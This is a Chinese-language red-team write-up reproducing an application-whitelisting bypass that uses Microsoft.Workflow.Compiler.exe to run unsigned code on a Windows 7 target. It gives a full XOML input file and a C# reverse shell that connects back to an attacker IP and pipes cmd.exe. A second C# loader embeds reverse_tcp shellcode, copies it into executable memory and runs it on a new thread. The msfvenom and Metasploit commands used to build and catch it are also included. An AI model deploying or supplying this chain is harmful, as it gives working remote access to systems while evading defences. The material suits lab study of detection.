对亮神基于白名单 Compiler.Exe 执行 Payload 第六季复现

0x00 Compiler.Exe简介

Microsoft.Workflow.Comiler.exe是.NET Framework默认自带的一个实用工具，用户能够以XOML工作流文件的形式提供一个序列化工作流来执行任意未签名的代码。

0x01 环境

攻击机kali 192.168.5.99
靶机win7 192.168.5.112
靶机装有数字AV

0x02 复现

A

攻击机配置监听

靶机执行

shell弹回

B

攻击机配置监听

靶机执行

shell弹回

0x03

jiu.xml

<?xml version="1.0" encoding="utf-8"?>
 
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
 
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
 
<d2p1:string>1.cs</d2p1:string>
 
</files>
 
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
 
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
 
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
 
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
 
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
 
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
 
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
 
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
 
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"/>
 
<d2p1:checkTypes>false</d2p1:checkTypes>
 
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
 
<d2p1:compilerOptions i:nil="true" />
 
<d2p1:generateCCU>false</d2p1:generateCCU>
 
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
 
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
 
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
 
<d2p1:mtInfo i:nil="true"/>
 
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
 
</parameters>
 
</CompilerInput>

test.tcp

using System;

using System.Text;

using System.IO;

using System.Diagnostics;

using System.ComponentModel;

using System.Net;

using System.Net.Sockets;

using System.Workflow.Activities; 

public class Program : SequentialWorkflowActivity

{

static StreamWriter streamWriter; 

public Program()

{

using(TcpClient client = new TcpClient("192.168.5.99", 10129))

{

using(Stream stream = client.GetStream())

{

using(StreamReader rdr = new StreamReader(stream))

{

streamWriter = new StreamWriter(stream); 

StringBuilder strInput = new StringBuilder(); 

Process p = new Process();

p.StartInfo.FileName = "cmd.exe";

p.StartInfo.CreateNoWindow = true;

p.StartInfo.UseShellExecute = false;

p.StartInfo.RedirectStandardOutput = true;

p.StartInfo.RedirectStandardInput = true;

p.StartInfo.RedirectStandardError = true;

p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);

p.Start();

p.BeginOutputReadLine(); 

while(true)

{

strInput.Append(rdr.ReadLine());

p.StandardInput.WriteLine(strInput);

strInput.Remove(0, strInput.Length);

}

}

}

}

} 

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)

{

StringBuilder strOutput = new StringBuilder(); 

if (!String.IsNullOrEmpty(outLine.Data))

{

try

{

strOutput.Append(outLine.Data);

streamWriter.WriteLine(strOutput);

streamWriter.Flush();

}

catch (Exception err) { }

}

} 

}

1.cs

using System.Workflow.Activities;
using System.Net; 
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
class yrDaTlg : SequentialWorkflowActivity {
[DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ);
 
[DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr DStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVpSg);
 
[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB);
 
[DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM);
 
public yrDaTlg() {
 
byte[] QWKpWKhcs =
 
{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
0x49,0xbc,0x02,0x00,0x27,0x91,0xc0,0xa8,0x05,0x63,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };
 
IntPtr AmnGaO = VirtualAlloc(0, (UInt32)QWKpWKhcs.Length, 0x3000, 0x04);
 
Marshal.Copy(QWKpWKhcs, 0, (IntPtr)(AmnGaO), QWKpWKhcs.Length);
 
IntPtr oXmoNUYvivZlXj = IntPtr.Zero; UInt32 XVXTOi = 0; IntPtr pAeCTfwBS = IntPtr.Zero;
 
uint BnhanUiUJaetgy;
 
bool iSdNUQK = VirtualProtect(AmnGaO, (uint)0x1000, (uint)0x20, out BnhanUiUJaetgy);
 
oXmoNUYvivZlXj = CreateThread(0, 0, AmnGaO, pAeCTfwBS, 0, ref XVXTOi);
 
WaitForSingleObject(oXmoNUYvivZlXj, 0xFFFFFFFF);}
 
}

0x04 总结

目标需装有.net4.0。A方法为常规监听方式即可，B方法监听为

set PAYLOAD windows/x64/meterpreter/reverse_tcp

B方法中shellcode生成

msfvenom  -p windows/x64/shell/reverse_tcp LHOST=192.168.5.99 LPORT=10129 -f csharp

皆将xml中的文件名替换使用即可。

0x05 借鉴

https://github.com/Micropoor/Micro8/blob/master/第七十六课：基于白名单Compiler.exe执行payload第六季.pdf